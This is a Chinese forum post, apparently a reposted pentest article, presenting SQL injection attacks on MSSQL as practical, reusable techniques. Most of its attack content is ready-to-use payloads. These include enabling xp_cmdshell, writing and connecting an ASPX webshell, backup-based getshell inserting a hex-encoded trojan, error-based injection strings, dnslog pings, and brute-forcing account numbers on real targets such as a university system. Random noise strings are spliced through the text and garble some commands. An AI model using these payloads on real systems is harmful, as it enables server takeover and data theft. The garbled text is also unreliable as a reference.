找回密码
 加入怎通
查看: 199|回复: 2

有人说SQL注入落后了,请问可以捶他吗_解决sql注入

[复制链接]
我来看看 发表于 2023-03-27 12:09:00 | 显示全部楼层 |阅读模式
' q( Q- t2 ~+ P" r% W9 [8 @) G

上次写了一篇文关于SQL注入的文章,居然有人说SQL注入过时了!!!

) Y! g+ y2 x9 d( I5 _! z% S

前言:本次用4个有趣的实战案例来分别讲:狠–常见getshell快–快速报错注入准–字符长度100限制下注入绕–绕福某大学安全狗虽然只有4个实战案例,但真的挺实用、通用哦,当然此次都是站在前辈肩膀上实践总结的可能还不够全,如有分析不足的地方望各位大佬指正!

; `* p- F0 Y3 Y2 d* r, \0 N q

狠–常见getshell:实战一:这是一次挖到一个小OA系统的通用管理员弱口令,后台可以执行sql语句并且是sa权限,这运气没谁了哈哈但可以去edu刷分的大部分目标xp_cmdshell却废了.只能恰个弱口令…

1 H* A- T3 |- B& S

先说可以xp_cmdshell部分:xp_cmdshell写shell技巧:条件:sa权限,常见问题:xp_cmdshell存储过程在 SQL Server 2005以后默认关闭,需要手动开启

: l3 O" @- J9 z% d! h

开启方法#开启方法 ( d4 M2 f& F' b2 n" h8 J2 J execute(sp_configure "show advanced options",1) #将该选项的值设置为1 y% C8 ?( j' {6 Q: O* H execute(reconfigure)

* e0 G& D, U/ ?5 I$ m/ x

#保存设置5 z D2 ~( a( } execute(sp_configure "xp_cmdshell", 1) #将xp_cmdshell的值设置为1 : Q) c4 `7 R: d0 F3 B; O! R execute(reconfigure)

$ O9 c3 ?. W4 @' Q* r

#保存设置 . g' V& ^2 d, O( D7 L1 j( P v execute(sp_configure) #查看配置 9 O# w5 p2 B6 }+ Z' [9 \ execute(xp_cmdshell "whoami")

! X& n2 B. H4 q: T2 n3 Q3 @

#执行系统命令& R$ m0 w/ ^. N( t- C 或者- U' W4 d# K( l* y$ f' `4 | exec sp_configure show advanced options,1; ) n4 V W* R4 t* z# { reconfigure; : S" L B, T: C; Y0 P% g6 C$ x exec sp_configure xp_cmdshell,1; Q! w. C Q; C! S7 B reconfigure; 6 ]9 @' X( B5 W3 P' S

9 N+ K5 ~0 ]$ ^; G

exec sp_configure; 5 B8 S D/ t+ u exec xp_cmdshell whoami; + b5 i/ o1 S$ g exec master ..xp_cmdshell "ping dnslog"上面执行开启命令后,执行一下 whoami ,system 权限,直接起飞!

( ^ [, ^' Z; W0 a- e! o5 s/ M

写shell技巧:先找网站根路径:exec xp_cmdshell where /r d:\ *.aspx;9 a( w. Y0 E9 Z2 J" P# {0 Z 直接写入aspx文件同目录却访问不了,麻了!问了一下同事,他说:估计做了和springboot类似的路由映射,但静态文的目录可能不会走路由. 访问路径如下

' I7 K9 b, S, _( r4 c7 \& Z1 V

故再找根路径下绝对静态可解析路径:exec xp_cmdshell where /r D:\OA *.jpg; ( Q1 g+ k# [) u" i9 Y

5 r8 o3 E9 d! [5 s. {# A" u# F4 _5 t

写shell,这里也需要注意一点,dos对尖括号<>会报错,所以需要用^转义一下,或者echo"一句话" > hack.aspx 用双引号echo ^<^%@ Page Language="Jscript"

, h2 p; z( x; r

%^>^^ >d:\xx\xx.aspx8 e3 {. T8 G+ K 然后倚天大剑(蚁剑)连接http://x.x.x.x/login/login/xx.aspx

4 {3 m G% K; l0 k) ?+ c5 ^ Z( j

即可.其它gethell大全:剩下不可以xp_cmdshell的,但其它大多getshell方法,都没法用这些方法前提条件都是:SQL Server 2008不可用,SQL Server 2000可用因为我这版本是SQL Server 2008不可用,吐了!!于是只好备份getshell

5 E! d- k4 P. ?# g

备份getshell至少DBO权限)log备份(推荐):优势:1、重复性好,多次备份的成功率高2、相对于差异备份而言,shell的体积较小利用条件:1、前提得知绝对路径,并且可写2、站库不分离3、数据库必须被备份过一次

. j( P9 t/ r, U% z# H: N% W% |2 L5 P

;alterdatabase 库名 setRECOVERYFULL-- * Z6 P w* \4 Z' [+ b, T9 o ;createtable 数据库名..表名(a image)-- //建表 : l: f7 J- `* n' P8 S: K ;insertinto 数据库名..表名(a)

# |6 B8 m* M y9 v- g

values (0x一句话木马)-- //插入一句话木马到表中,注意16进制. q8 C% Y$ ^! ]+ Y& p I. D 8 X( r* V, c) _2 }1 @ ;backupdatabase 数据库名 to disk = c:\www\panda.bak-- //先手动给数据库备份一遍

( ?2 w- J: D" {! f1 I: v8 S

) r- z. ?) c( c) p) S: E+ L$ h ' }! q# k- A. u5 P ;backuplog 数据库名 to disk = c:\www\panda.aspwith init-- //利用log备份到web路径getshell差异备份的条件:1、前提知道绝对路径,路径可写。

* J' y4 D- U9 p' T

2、HTTP 500错误不是自定义3、WEB和数据在一块还有的就是数据库中不能存在%号之类的,不然也是不成功的4、数据量不能太大;backupdatabase 库名 to disk = c:\bak.bak。

4 A- \. P* c! @+ \0 m) _3 x4 L

;-- //先手动备份一次 . m6 d) l+ `; [/ s, Y: a/ z ;createtable 数据库名..表名(a image)-- //建立表,加字段 , `/ _ b4 ]" p* c: { ;insertinto 数据库名..表名(a) values (0x一句话木马)

! Q' w' z- h: j" P; P9 D

-- //插入一句话木马到表中,注意16进制* G( R9 d: {, h* ? ;backupdatabase 库名 to disk = c:\shell.aspwith differential , format ;-- //进行差异备份

% S: a3 ]9 @9 Z# F' Z. Y

小结:备份getshell这一般对php和asp有用,注意asp备份生成的文件经常有没有闭合的问题,但aspx我暂时没找到成功例子我这是aspx的2种备份都试了,但因为备份后会插入多个shell如下

( G; M; d5 m# x% d

导致:出现多次,报错:只能有一个page指令 试了闭合和其它方法不行

+ @$ U" s3 X! s/ h

快–快速报错注入:实战二:mssql报错注入很方便,但柯大佬也没完善总结,我试了几种方法,这里快速报错最快,且在之后的手工注入很实用:

b# ]* d: H0 P! _

注册一个账号但要审核,如上图消息里得到账号规律,对后4位数爆破,成功 00xxxxx 123456然后登录后台,在某处发现sql注入:Users/xx.ashx?ID=00) and 1=1 --+ //闭合成功

* c6 ]/ F" U: n9 c

+ {8 m1 c& i- q7 l: c$ _ ) and 1=convert(int,user_name()) --+ #查当前数据库用户,结果不是sa: ?) R4 s+ @+ u 1)/**/;/**/exec/**/master ..xp_cmdshell /**/"ping xx.dnslog.cn"

% s, Y3 ^; W, n- ]

--#不死心,执行一下cmdshell

1 {+ x7 R- R4 a6 U: Z: t

我是一名安全渗透测试工程师,热爱安全行业,用心做安全,在工作的同时学习知识,另外,我积攒了一些网络安全的学习视频和资料,需要的可以下载学习关注我,私信回复“资料”免费获取网络安全视频、渗透测试、工具包、应急响应、web安全等架构资料。

- X9 n* B0 z4 W( G) }3 |2 ?0 a5 q% q; A9 d u8 @) A 6 g: `7 n0 R( Z, } C Z3 v8 k) u+ M+ ^9 Y 5 D8 N3 w* D# L* Q) I; V
回复

使用道具 举报

念碎碎年年丶 发表于 2026-01-12 20:01:04 | 显示全部楼层
学习到了,之前一直没注意过这个点,受教了
回复

使用道具 举报

野草主机-小张 发表于 2026-04-03 20:29:42 | 显示全部楼层
完全赞同,我也是这么认为的,英雄所见略同~
回复

使用道具 举报

    您需要登录后才可以回帖 登录 | 加入怎通

    本版积分规则

    QQ|手机版|小黑屋|网站地图|真牛社区 ( 苏ICP备2023040716号-2 )

    GMT+8, 2026-7-7 09:15 , Processed in 0.034480 second(s), 25 queries , Gzip On.

    免责声明:本站信息来自互联网,本站不对其内容真实性负责,如有侵权等情况请联系420897364#qq.com(把#换成@)删除。

    Powered by Discuz! X3.5

    快速回复 返回顶部 返回列表